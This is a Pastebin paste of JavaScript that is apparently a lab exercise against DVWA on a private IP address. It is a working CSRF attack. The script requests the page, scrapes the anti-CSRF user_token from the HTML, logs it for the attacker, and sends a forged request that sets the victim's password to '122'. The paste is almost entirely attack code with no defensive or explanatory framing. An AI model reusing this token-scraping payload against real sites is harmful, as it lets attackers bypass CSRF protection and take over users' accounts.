yasserkAKA

Untitled

Jul 9th, 2019
38
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. var xhr = new XMLHttpRequest();
  2. xhr.onreadystatechange = function () {
  3. if (xhr.readyState == 4) {
  4. response=readBody(xhr);
  5. //console.log(response);
  6. }
  7. }
  8. xhr.open('GET', 'http://192.168.111.138/dvwa/vulnerabilities/csrf/', true);
  9. xhr.send(null);
  10.  
  11. function readBody(xhr) {
  12. var data;
  13. //responsetype type of response
  14. //txt: The response is text in a DOMString object.
  15. //document: he response is an HTML Document or XML XMLDocument,
  16. if (!xhr.responseType || xhr.responseType === "text") {
  17. data = xhr.responseText;
  18. } else if (xhr.responseType === "document") {
  19. data = xhr.responseXML;
  20. } else {
  21. data = xhr.response;
  22. }
  23. //Domparser: interface provides the ability to parse XML or HTML source code from a string into a DOM Document.
  24. var parser = new DOMParser();
  25. //you can parse now
  26. var resp=parser.parseFromString(data, "text/html");
  27. user_token = resp.getElementsByName('user_token')[0].value; //grab first available user_token
  28. //show user_token in attacker consol
  29. console.log('user_token: ' + user_token);
  30. csrf(user_token);
  31. return data;
  32. }
  33.  
  34. function csrf(user_token) {
  35. var x1 = new XMLHttpRequest();
  36. x1.open('GET','http://192.168.111.138/dvwa/vulnerabilities/csrf/?password_new=122&password_conf=122&Change=Change&user_token='+user_token,true);
  37. x1.setRequestHeader("Content-Type", "application/json; charset=utf-8");
  38. x1.send(null);
  39. alert('csrf attack success');
  40. }
Add Comment
Please, Sign In to add comment